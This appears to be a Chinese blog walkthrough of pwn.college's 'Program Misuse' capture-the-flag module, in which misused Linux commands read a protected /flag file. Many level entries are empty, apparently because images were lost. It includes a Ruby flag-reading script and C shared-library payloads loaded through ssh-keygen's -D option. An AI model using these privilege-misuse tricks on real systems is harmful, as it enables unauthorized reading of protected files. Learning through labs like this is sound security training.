二进制入门-程序误用
2023-5-29 15:2:38 Author: 红队蓝军(查看原文) 阅读量:23 收藏

前言:

网上的二进制入门资源虽然有很多,但是梯度感觉变化太大,不太适合小白入门学习,这里分享一个国外的课程配套刷题网站,本文记录了第一个模块的题的通关记录以及值得记录的知识点,通过这个模块的学习,我们可以基本上能对Linux下的一些常用命令有些了解,在刷题的过程中我们也会对系统安全有了进一步的理解。

(ASU CSE466: Computer Systems Security)

Linux命令行:程序误用,程序交互

Shellcoding:汇编,shellcode注入,预防

逆向工程:功能框架,静态/动态逆向工具

程序利用:劫持到shellcode, JIT喷雾

系统开发:内核模块,权限升级

杂项:沙箱,内存错误,竞争条件

课程网站:https://pwn.college/

网站上是支持在线开启一个在线的容器,就是模拟出一个Linux系统,但是操作起来太卡,我们可以通过ssh的方式进行连接,首先生成自己的rsa_key,然后复制到网站上的个人信息一栏,就可以通过以下命令来进行连接了。

ssh -i key [email protected]

(2):https://gtfobins.github.io/gtfobins这个是一个可以查询Linux下命令存在危险行为的网站,网站里面有详细的介绍和利用,对于我们接下来的做题是很有用的.

Program Misuse:

level1:
level10:
rev
level17

或许我们应该知道zcat这个命令:

level18:

At the begining,I try the command"bzcat":

Actually:

level19:
level20:
-O:
Outputs the extracted content to standard output instead of extracting the file to disk.
level21:

我们应该创建静态库文件:

After:

command:
p            - print file(s) found in the archive
level22:
level23:
level24:
level25:
level26:
level27:
level28:
level29:
level30:
level31:
level32:
File read

更多的信息和介绍我们可以看这里:https://gtfobins.github.io/gtfobins/socat/

level33:

数字是窗口的大小,我们可以通过改变数字:

level34:
level35:
level36:
level37:
level38:
level39:

At first,I try:

正确的方法:(也许你应该了解“/dev/stdout”是什么。)

level40:
思路利用详解:

https://medium.com/workindia-in/the-dark-side-of-mv-command-3419c1bd619

简介:我们可以通过交换“mv”和“cat”

level41:

“-n”选项逐行读取文件,“-e”选项在命令行上执行Perl代码

level42:
level43:

Owing to:

Attention:

我们可以在tmp目录下编写脚本:

So we can solve it by:

#!/usr/bin/env ruby
content = File.read("/flag")
puts content
level44:
level45:

level46:

level47:
level48:
level49:
level50:

此方法不区分大小写,直接输出小写:

You will find the difference:

level51(Medium):
-D pkcs11
  Download the public keys provided by the PKCS#11 shared library pkcs11.  
  When used in combination with -s, this option indicates that 
  a CA key resides in a PKCS#11 token (see the CERTIFICATES section for details).

共享库

我们创建了一个测试文件:test.c,得到:

We failed:

Attention:

#include<stdio.h>
int main(int argc,char const * argv){
   puts("Hello");
   return 0;
}
int C_GetFunctionList(){
   puts("Hi");
}

Exploit:

#include<stdio.h>
int main(int argc,char const * argv){
   puts("Hello");
   return 0;
}
int C_GetFunctionList(){
  sendfile(1,open("/flag",0),0,4096);
}

Or:

#include<stdio.h>
int main(int argc,char const * argv){
   puts("Hello");
   return 0;
}
__attribute__((constructor))
int my_fun(){
  sendfile(1,open("/flag",0),0,4096);
}

加下方wx,拉你一起进群学习


文章来源: http://mp.weixin.qq.com/s?__biz=Mzg2NDY2MTQ1OQ==&mid=2247509436&idx=1&sn=8d53e93cdadebccf6211a0cd57e6a035&chksm=ce671f00f910961674660850b8bece5cb8f08b2267adbba300b332cabada6ae7dd4e48788f1a#rd
如有侵权请联系:admin#unsafe.sh